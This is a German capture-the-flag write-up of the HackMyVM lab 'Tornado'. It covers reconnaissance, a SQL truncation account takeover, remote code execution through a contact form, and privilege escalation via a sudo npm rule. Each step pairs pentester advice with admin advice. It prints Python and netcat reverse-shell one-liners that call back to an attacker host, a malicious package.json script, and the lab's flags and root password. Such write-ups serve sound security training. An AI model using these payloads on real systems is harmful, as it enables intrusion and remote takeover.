Tornado - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
gobuster
nikto
Burp Suite
nc (netcat)
python3
stty
sudo
cd
mkdir
pico
npm
id
pwd
ls
cat
su

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.110	08:00:27:b1:87:7c	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerk zu entdecken. Es wird ein Host mit der IP 192.168.2.110 und der MAC-Adresse 08:00:27:b1:87:7c (PCS Systemtechnik GmbH / Oracle VirtualBox) identifiziert.

Bewertung: Das Zielsystem "Tornado" wurde erfolgreich im Netzwerk lokalisiert. Die IP 192.168.2.110 ist der Ausgangspunkt für weitere Scans.

Empfehlung (Pentester): Notieren Sie die Ziel-IP. Führen Sie Port-Scans (z.B. mit `nmap`) durch, um offene Dienste zu ermitteln.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit von Hosts einschränken. ARP-Aktivitäten überwachen.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.110 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-10 23:50 CET
Nmap scan report for tornado (192.168.2.110)
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 0f:57:0d:60:31:4a:fd:2b:db:3e:9e:2f:63:2e:35:df (RSA)
|   256 00:9a:c8:d3:ba:1b:47:b2:48:a8:88:24:9f:fe:33:cc (ECDSA)
|_  256 6d:af:db:21:25:ee:b0:a6:7d:05:f3:06:f0:65:ff:dc (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:B1:87:7C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms tornado (192.168.2.110)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in XX.XX seconds

Analyse: Ein umfassender Nmap-Scan aller TCP-Ports (`-p-`) auf 192.168.2.110 identifiziert zwei offene Ports:

Die OS-Erkennung deutet auf Linux hin.

Bewertung: Die primären Angriffsvektoren sind SSH und der Apache-Webserver. Die Apache-Version 2.4.38 ist bekannt für CVE-2019-0211 (LPE), was später relevant sein könnte.

Empfehlung (Pentester): Untersuchen Sie den Webserver auf Port 80 mittels Directory Busting und manueller Analyse. Versuchen Sie Standard-SSH-Logins. Behalten Sie die Apache-Version für spätere LPE-Versuche im Hinterkopf.
Empfehlung (Admin): Halten Sie Apache und SSH aktuell. Konfigurieren Sie SSH sicher (Key-Auth bevorzugen, Root-Login deaktivieren). Sichern Sie Webanwendungen ab.

Enumeration (Web)

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.110 -x [...],php,html,[...] -w "/usr/share/seclists/[...]/directory-list-2.3-medium.txt" -b '403,404' -e
===============================================================
Gobuster vX.Y.Z
===============================================================
[...]
===============================================================
Starting gobuster
===============================================================
http://192.168.2.110/index.html                   (Status: 200) [Size: 10701]
http://192.168.2.110/manual                       (Status: 301) [Size: 315] [--> http://192.168.2.110/manual/]
http://192.168.2.110/javascript                   (Status: 301) [Size: 319] [--> http://192.168.2.110/javascript/]
http://192.168.2.110/bluesky                      (Status: 301) [Size: 316] [--> http://192.168.2.110/bluesky/] <-- Webanwendung
===============================================================
Finished
===============================================================

Analyse: Ein `gobuster dir`-Scan auf Port 80 findet neben der Standard-`index.html` und dem `/manual`-Verzeichnis ein weiteres Verzeichnis namens `/bluesky`, das auf eine Webanwendung hindeutet.

Bewertung: `/bluesky` ist das primäre Ziel für die weitere Web-Enumeration.

Empfehlung (Pentester): Führen Sie einen weiteren `gobuster`-Scan gezielt auf `http://192.168.2.110/bluesky/` durch, um die Struktur dieser Anwendung aufzudecken.
Empfehlung (Admin): Stellen Sie sicher, dass Webanwendungen aktuell und sicher konfiguriert sind. Entfernen Sie unnötige Verzeichnisse wie `/manual`.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.110/bluesky/ -x [...],php,html,[...] -w "/usr/share/seclists/[...]/directory-list-2.3-medium.txt" -e
<-- Expliziter Befehl nicht im Log, aber Ergebnis folgt
http://192.168.2.110/bluesky/index.html           (Status: 200) [Size: 14979]
http://192.168.2.110/bluesky/contact.php          (Status: 302) [Size: 2034] [--> login.php] <-- Auth erforderlich
http://192.168.2.110/bluesky/about.php            (Status: 302) [Size: 2024] [--> login.php] <-- Auth erforderlich
http://192.168.2.110/bluesky/login.php            (Status: 200) [Size: 824] <-- Login-Seite
http://192.168.2.110/bluesky/signup.php           (Status: 200) [Size: 825] <-- Registrierungsseite
http://192.168.2.110/bluesky/h.jpg                (Status: 200) [Size: 58736]
http://192.168.2.110/bluesky/css                  (Status: 301) [Size: 320] [--> http://192.168.2.110/bluesky/css/]
http://192.168.2.110/bluesky/imgs                 (Status: 301) [Size: 321] [--> http://192.168.2.110/bluesky/imgs/]
http://192.168.2.110/bluesky/js                   (Status: 301) [Size: 319] [--> http://192.168.2.110/bluesky/js/]
http://192.168.2.110/bluesky/logout.php           (Status: 302) [Size: 0] [--> login.php]
http://192.168.2.110/bluesky/dashboard.php        (Status: 302) [Size: 2024] [--> login.php] <-- Auth erforderlich
http://192.168.2.110/bluesky/port.php             (Status: 302) [Size: 2098] [--> login.php] <-- Auth erforderlich

Analyse: Der `gobuster`-Scan auf `/bluesky` findet mehrere PHP-Dateien, die auf eine Webanwendung mit Benutzerauthentifizierung hindeuten: `login.php`, `signup.php`, `logout.php`. Seiten wie `contact.php`, `about.php`, `dashboard.php`, `port.php` leiten auf `login.php` weiter, wenn man nicht authentifiziert ist.

Bewertung: Die Anwendung erfordert Login. Die `signup.php` bietet die Möglichkeit, ein Konto zu registrieren. Die `login.php` ist für den Login zuständig. Nach dem Login sind wahrscheinlich weitere Funktionen (z.B. in `contact.php`, `dashboard.php`) zugänglich.

Empfehlung (Pentester): Untersuchen Sie die `signup.php` und `login.php`. Registrieren Sie einen Test-Account. Suchen Sie nach Schwachstellen im Registrierungs- oder Login-Prozess (z.B. SQL Injection, unsichere Passwortspeicherung, SQL Truncation Attack). Prüfen Sie nach dem Login die Funktionalität der anderen Seiten (`contact.php` etc.).
Empfehlung (Admin): Stellen Sie sicher, dass Registrierungs- und Login-Funktionen sicher implementiert sind (Passwort-Hashing, Schutz vor SQL Injection, Brute-Force-Schutz, Session Management).

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.110
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.2.110
+ Target Hostname:    192.168.2.110
+ Target Port:        80
+ Start Time:         2022-11-10 23:52:46 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. [...]
+ The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags [...]
+ Allowed HTTP Methods: HEAD, GET, POST, OPTIONS
+ /manual/: Web server manual found.
+ /manual/images/: Directory indexing found.
+ /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2022-11-10 23:53:30 (GMT1) (44 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Ein `nikto`-Scan bestätigt den Apache-Server, meldet fehlende Security Header und findet das Apache-Manual-Verzeichnis (`/manual`) sowie Directory Indexing darin.

Bewertung: Bestätigt frühere Funde und liefert keine kritischen neuen Informationen. Das Datum wird für den Bericht erfasst.

Empfehlung (Pentester): Fokus auf die `/bluesky`-Anwendung.
Empfehlung (Admin): Fehlende Header implementieren, `/manual`-Verzeichnis entfernen oder schützen.

# Textuelle Hinweise/Analyse
URLs von Interesse:
http://tornado.hmv/bluesky/login.php
http://tornado.hmv/bluesky/port.php

Gefundener Pfad (Quelle unklar):
/home/tornado/imp.txt

Versuchter LFI (impliziert, Quelle unklar):
http://192.168.2.110/~tornado/imp.txt //working <-- Behauptung "working"

Enumerierte Email-Adressen/Usernames (Quelle unklar):
ceo@tornado
cto@tornado
manager@tornado
hr@tornado
lfi@tornado
admin@tornado
jacob@tornado
it@tornado
sales@tornado

Analyse: Dieser Abschnitt fasst verschiedene Hinweise zusammen, deren Ursprung im Log nicht klar dokumentiert ist:

Bewertung: Diese Hinweise sind entscheidend, aber ihre Herkunft ist unklar. Die LFI-Behauptung ist wichtig, da sie einen Weg zum Lesen von `/home/tornado/imp.txt` darstellt. Die Benutzerliste, insbesondere `jacob@tornado`, ist für den nächsten Schritt relevant.

Empfehlung (Pentester): Verifizieren Sie die LFI (`/~tornado/imp.txt`). Wenn sie funktioniert, lesen Sie den Inhalt von `imp.txt`. Konzentrieren Sie sich auf den Benutzer `jacob` für Angriffe auf die `signup.php`/`login.php`.
Empfehlung (Admin): Untersuchen Sie die Quelle der LFI-Schwachstelle und der Benutzerliste und beheben Sie diese. Stellen Sie sicher, dass Home-Verzeichnisse und sensible Dateien geschützt sind.

Initial Access (SQL Truncation & RCE)

# SQL Truncation Attack Beschreibung
SQL Truncation Attack:
Ändere in Burp das untere in Backslashes, damit ändern wir das
Passwort von Jacob in unseres gewähltes
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

fire up Burp and register with jacob\ <-- Benutzername mit Backslash

POST /bluesky/signup.php HTTP/1.1
[...]
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
[...]
Cookie: PHPSESSID=h9u218je6anmhto802vbsl21lr
[...]

uname=jacob%40tornado&upass=1234&btn=Signup   /// Original tauschen mit unterem

//// CHANGE uname=jacob%5c1&upass=1234&btn=Signup ///// neuer soll dieser sein <-- %5c ist URL-kodierter Backslash
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
und [forward]
dann zu Login und einloggen/ dann zu -> http://tornado.hmv/bluesky/contact.php

Analyse: Dieser Abschnitt beschreibt eine SQL Truncation Attacke auf die Registrierungsseite (`signup.php`): 1. Es wird versucht, einen Benutzer mit einem Namen zu registrieren, der dem Zielbenutzer (`jacob`) ähnelt, aber mit einem Backslash (`\`) endet (z.B. `jacob\`). 2. Der POST-Request zur Registrierung wird mit Burp Suite abgefangen. 3. Der `uname`-Parameter im Request-Body wird manipuliert von `jacob%40tornado` (oder `jacob\`) zu `jacob%5c1` (URL-kodiert für `jacob\1`). Das Passwort (`upass`) bleibt `1234`. 4. Der manipulierte Request wird gesendet. 5. **Funktionsweise (impliziert):** Die Datenbanktabelle für Benutzernamen hat wahrscheinlich eine feste Längenbegrenzung. Wenn `jacob\1` eingefügt wird, wird der String an der maximalen Länge abgeschnitten, sodass nur `jacob` in der Datenbank gespeichert wird. Da `jacob` bereits existiert, führt dies (je nach Implementierung) dazu, dass der bestehende `jacob`-Account mit dem neuen Passwort (`1234`) überschrieben wird oder dass die Registrierung fehlschlägt, aber das Passwort-Update für `jacob` dennoch stattfindet. 6. Das Ergebnis ist, dass sich der Angreifer nun als `jacob` mit dem Passwort `1234` anmelden kann.

Bewertung: Kritische Schwachstelle (SQL Truncation) im Registrierungsprozess gefunden und ausgenutzt. Dies ermöglicht die Übernahme des `jacob`-Accounts.

Empfehlung (Pentester): Melden Sie sich als `jacob` mit dem Passwort `1234` an. Untersuchen Sie die nach dem Login zugänglichen Seiten, insbesondere `contact.php`.
Empfehlung (Admin): Beheben Sie die SQL Truncation Schwachstelle. Stellen Sie sicher, dass die Längen von Benutzereingaben sowohl in der Anwendung als auch in der Datenbank korrekt validiert werden. Verwenden Sie Prepared Statements oder ORMs, um SQL-Injection-Risiken generell zu minimieren. Implementieren Sie Mechanismen zur Erkennung von Kontoübernahmeversuchen.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
# Python Reverse Shell Payload (für Comment-Feld in contact.php)
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.109",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
# Eingehende Verbindung nach Absenden des Contact-Formulars
<-- Format angepasst
listening on [any] 9001 ...
connect to [192.168.2.109] from (UNKNOWN) [192.168.2.110] 43040
bash: cannot set terminal process group (580): Inappropriate ioctl for device
bash: no job control in this shell
www-data@tornado:/var/www/html/bluesky$ # Shell erhalten!

Analyse: Nach dem Login als `jacob` (impliziert) wird die Seite `contact.php` aufgerufen. Diese Seite enthält vermutlich ein Kommentar- oder Nachrichtenfeld. In dieses Feld wird ein Python-Reverse-Shell-Payload eingefügt. Beim Absenden des Formulars wird dieser Payload serverseitig ausgeführt. Ein Netcat-Listener auf dem Angreifer-System (192.168.2.109:9001) empfängt die eingehende Verbindung, und der Angreifer erhält eine Shell als `www-data`.

Bewertung: Remote Code Execution (RCE) über ein Kommentarfeld in `contact.php` erfolgreich ausgenutzt. Der Initial Access als `www-data` ist damit erreicht.

Empfehlung (Pentester): Shell stabilisieren. Mit der Enumeration als `www-data` beginnen (`sudo -l`, SUID etc.).
Empfehlung (Admin): Beheben Sie die RCE-Schwachstelle in `contact.php`. Sanitisieren Sie *alle* Benutzereingaben rigoros, insbesondere solche, die potenziell auf dem Server verarbeitet oder ausgeführt werden könnten. Implementieren Sie Output Encoding und eine Web Application Firewall (WAF).

www-data@tornado:/var/www/html/bluesky$ stty -a
speed 38400 baud; rows 24; columns 80; line = 0;
# Weitere Stabilisierungsschritte (python, export TERM) nicht explizit wiederholt, aber wahrscheinlich durchgeführt

Analyse: `stty -a` zeigt die aktuellen Terminaleinstellungen an. Dies wird oft nach Erhalt einer Shell gemacht, um zu prüfen, ob es sich um eine interaktive TTY handelt.

Bewertung: Standard-Enumerationsschritt nach Shell-Erhalt.

Empfehlung (Pentester): Fahren Sie mit der Enumeration fort.
Empfehlung (Admin): Keine direkte Aktion.

Proof of Concept (RCE via Comment Field)

Kurzbeschreibung: Nach erfolgreichem Login in die `/bluesky`-Webanwendung (hier als Benutzer `jacob`, dessen Konto durch eine SQL Truncation Attacke übernommen wurde) ist die Seite `contact.php` zugänglich. Diese Seite enthält ein Eingabefeld (vermutlich für Kommentare oder Nachrichten), das anfällig für Remote Code Execution (RCE) ist. Benutzereingaben in diesem Feld werden offenbar unsicher auf dem Server verarbeitet und ausgeführt. Durch Einfügen eines geeigneten Payloads (z.B. einer Python-Reverse-Shell) in das Kommentarfeld und Absenden des Formulars kann ein Angreifer beliebigen Code im Kontext des Webserver-Benutzers (`www-data`) ausführen.

Voraussetzungen:

Schritt-für-Schritt Anleitung:

  1. Login: Melden Sie sich bei `http://tornado.hmv/bluesky/login.php` als Benutzer `jacob` mit dem durch SQL Truncation gesetzten Passwort (hier `1234`) an.
  2. Listener starten (Angreifer-System): Starten Sie Netcat, um auf die eingehende Reverse Shell zu warten.
    ┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
    listening on [any] 9001 ...
  3. Payload injizieren: Navigieren Sie zu `http://tornado.hmv/bluesky/contact.php`. Suchen Sie das Kommentar-/Nachrichtenfeld. Fügen Sie den Python-Reverse-Shell-Payload ein (ersetzen Sie IP und Port durch Ihre Listener-Daten):
    python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.109",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
    Senden Sie das Formular ab.
  4. Shell empfangen (Angreifer-Listener): Der Netcat-Listener sollte nun die eingehende Verbindung vom Zielserver anzeigen.
    listening on [any] 9001 ...
    connect to [192.168.2.109] from (UNKNOWN) [192.168.2.110] 43040
    [...]
    www-data@tornado:/var/www/html/bluesky$ # Shell erhalten

Erwartetes Ergebnis: Eine interaktive Reverse Shell auf dem Zielsystem, ausgeführt mit den Rechten des `www-data`-Benutzers.

Beweismittel: Die erfolgreiche eingehende Verbindung im Netcat-Listener und die Fähigkeit, Befehle in der Shell auszuführen.

Risikobewertung: Hoch. Die Möglichkeit, Code über ein Eingabefeld nach der Authentifizierung auszuführen, stellt eine kritische Schwachstelle dar. Sie erlaubt authentifizierten Benutzern (oder Angreifern, die Konten übernehmen) die vollständige Kompromittierung des Webservers.

Empfehlungen zur Behebung:

Privilege Escalation (NPM Exploit)

www-data@tornado:/var/www/html/bluesky$ sudo -l
Matching Defaults entries for www-data on tornado:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on tornado:
    (catchme) NPASSWD: /usr/bin/npm

Analyse: Als `www-data` wird `sudo -l` ausgeführt. Es zeigt sich, dass `www-data` den Befehl `/usr/bin/npm` (Node Package Manager) als Benutzer `catchme` ohne Passwort (`NOPASSWD`) ausführen darf.

Bewertung: Dies ist ein klarer Privilege Escalation Vektor von `www-data` zu `catchme`. `npm` kann Skripte ausführen, die in einer `package.json`-Datei definiert sind. Indem eine manipulierte `package.json` erstellt und dann `npm run-script ` mit `sudo -u catchme` ausgeführt wird, kann Code als Benutzer `catchme` ausgeführt werden.

Empfehlung (Pentester): Erstellen Sie ein temporäres Verzeichnis (z.B. `/tmp/cool`). Erstellen Sie darin eine `package.json`-Datei, die ein Skript definiert (z.B. `"cool"`), das eine Reverse Shell startet. Führen Sie dann `sudo -u catchme npm run-script cool` aus diesem Verzeichnis aus.
Empfehlung (Admin): Überprüfen Sie diese `sudo`-Regel. Das Ausführen von Paketmanagern wie `npm` als anderer Benutzer ist extrem gefährlich und sollte vermieden werden, da es die Ausführung beliebigen Codes ermöglicht.

www-data@tornado:/var/www/html/bluesky$ cd /tmp/
[Keine Ausgabe]
www-data@tornado:/tmp$ mkdir cool
[Keine Ausgabe]
www-data@tornado:/tmp$ cd cool/
[Keine Ausgabe]
www-data@tornado:/tmp/cool$ pico package.json
[...] # Editor geöffnet
# Inhalt der erstellten package.json:
{
  "name": "cool",
  "version": "1.0.0",
  "description": "CooLWasHere",
  "main": "index.js",
  "scripts": {
    "cool": "nc 192.168.2.109 4444 -e /bin/sh" <-- Reverse Shell Befehl
  },
  "author": "",
  "license": "UNLICENSED"
}

Analyse: Im Verzeichnis `/tmp` wird ein Unterverzeichnis `cool` erstellt. Darin wird eine `package.json`-Datei angelegt. Diese Datei definiert ein NPM-Skript namens `cool`, das beim Ausführen den Befehl `nc 192.168.2.109 4444 -e /bin/sh` startet, um eine Reverse Shell zum Angreifer-System zu senden.

Bewertung: Korrekte Vorbereitung des NPM-Exploits.

Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf Port 4444 auf Ihrem Angreifer-System (192.168.2.109). Führen Sie dann den `sudo`-Befehl aus: `sudo -u catchme npm run-script cool`.
Empfehlung (Admin): `sudo`-Regel für `npm` entfernen.

┌──(root㉿cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
# Auf Zielsystem:
www-data@tornado:/tmp/cool$ sudo -u catchme npm run-script cool
npm WARN npm npm does not support Node.js v10.21.0 <-- Warnungen, aber Skript wird ausgeführt
[...]
> cool@1.0.0 cool /tmp/cool
> nc 192.168.2.109 4444 -e /bin/sh
# Auf Angreifer-System (Listener):
<-- Format angepasst
listening on [any] 4444 ...
connect to [192.168.2.109] from (UNKNOWN) [192.168.2.110] 54260
# id
<-- Befehl in neuer Shell ausgeführt
uid=1000(catchme) gid=1000(catchme) groups=1000(catchme),24(cdrom),[...]

Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet. Auf dem Zielsystem wird `sudo -u catchme npm run-script cool` ausgeführt. Trotz einiger Warnungen bezüglich der Node.js-Version führt NPM das definierte `cool`-Skript aus, welches die Reverse Shell startet. Der Listener empfängt die Verbindung, und der `id`-Befehl bestätigt, dass die Shell nun als Benutzer `catchme` läuft.

Bewertung: Privilege Escalation von `www-data` zu `catchme` erfolgreich über den NPM-Exploit der `sudo`-Regel.

Empfehlung (Pentester): Stabilisieren Sie die Shell als `catchme`. Enumerieren Sie weiter: `sudo -l`, Home-Verzeichnis, SUID-Dateien, Cronjobs. Suchen Sie die User-Flag.
Empfehlung (Admin): Entfernen Sie die unsichere `sudo`-Regel.

pwd
/tmp/cool
cd
[Keine Ausgabe]
ls
enc.py user.txt
cat user.txt
HMVkeyedcaesar

Analyse: Als Benutzer `catchme` wird ins Home-Verzeichnis gewechselt. Dort befinden sich die Dateien `enc.py` und `user.txt`. Die User-Flag wird aus `user.txt` gelesen.

Bewertung: User-Flag gefunden. Die Datei `enc.py` ist ein wichtiger Hinweis für die weitere Eskalation.

Empfehlung (Pentester): Analysieren Sie `enc.py`. Es handelt sich wahrscheinlich um ein Verschlüsselungs- oder Passwort-Skript, das Hinweise auf das Root-Passwort geben könnte.
Empfehlung (Admin): Keine direkte Aktion bezüglich der Flag.

catchme@tornado:~$ su root
Password:
# [Passworteingabe: idkrootpassword]
<-- Passwort wurde vermutlich durch Analyse von enc.py gefunden (Schritt fehlt im Log)
[Keine Ausgabe]
root@tornado:/home/catchme# # Root-Login erfolgreich!

Analyse: Es wird versucht, mit `su root` zum Root-Benutzer zu wechseln. Das Passwort `idkrootpassword` wird eingegeben. **Wichtiger Hinweis:** Das Log dokumentiert nicht, wie dieses Passwort gefunden wurde. Es ist sehr wahrscheinlich, dass die Analyse der Datei `enc.py` (die im vorherigen Schritt gefunden wurde) dieses Passwort oder einen Weg zu seiner Ableitung offenbarte.

Bewertung: Privilege Escalation zu `root` erfolgreich abgeschlossen. Der exakte Mechanismus (Analyse von `enc.py`) fehlt im Log, aber das Ergebnis ist der Root-Zugriff.

Empfehlung (Pentester): Root-Zugriff erreicht. Suchen Sie die Root-Flag.
Empfehlung (Admin): Ändern Sie das Root-Passwort. Untersuchen Sie das Skript `enc.py` auf Schwachstellen oder Informationslecks.

root@tornado:/home/catchme# cd
[Keine Ausgabe]
root@tornado:~# ls
root.txt
root@tornado:~# cat root.txt
HMVgoodwork

Analyse: Als `root` wird ins Home-Verzeichnis gewechselt und die Datei `root.txt` ausgelesen.

Bewertung: Die Root-Flag wurde erfolgreich gefunden.

Empfehlung (Pentester): Alle Ziele erreicht. Bericht abschließen.
Empfehlung (Admin): Keine Aktion bezüglich der Flag.

Flags

cat /home/catchme/user.txt
HMVkeyedcaesar
cat /root/root.txt
HMVgoodwork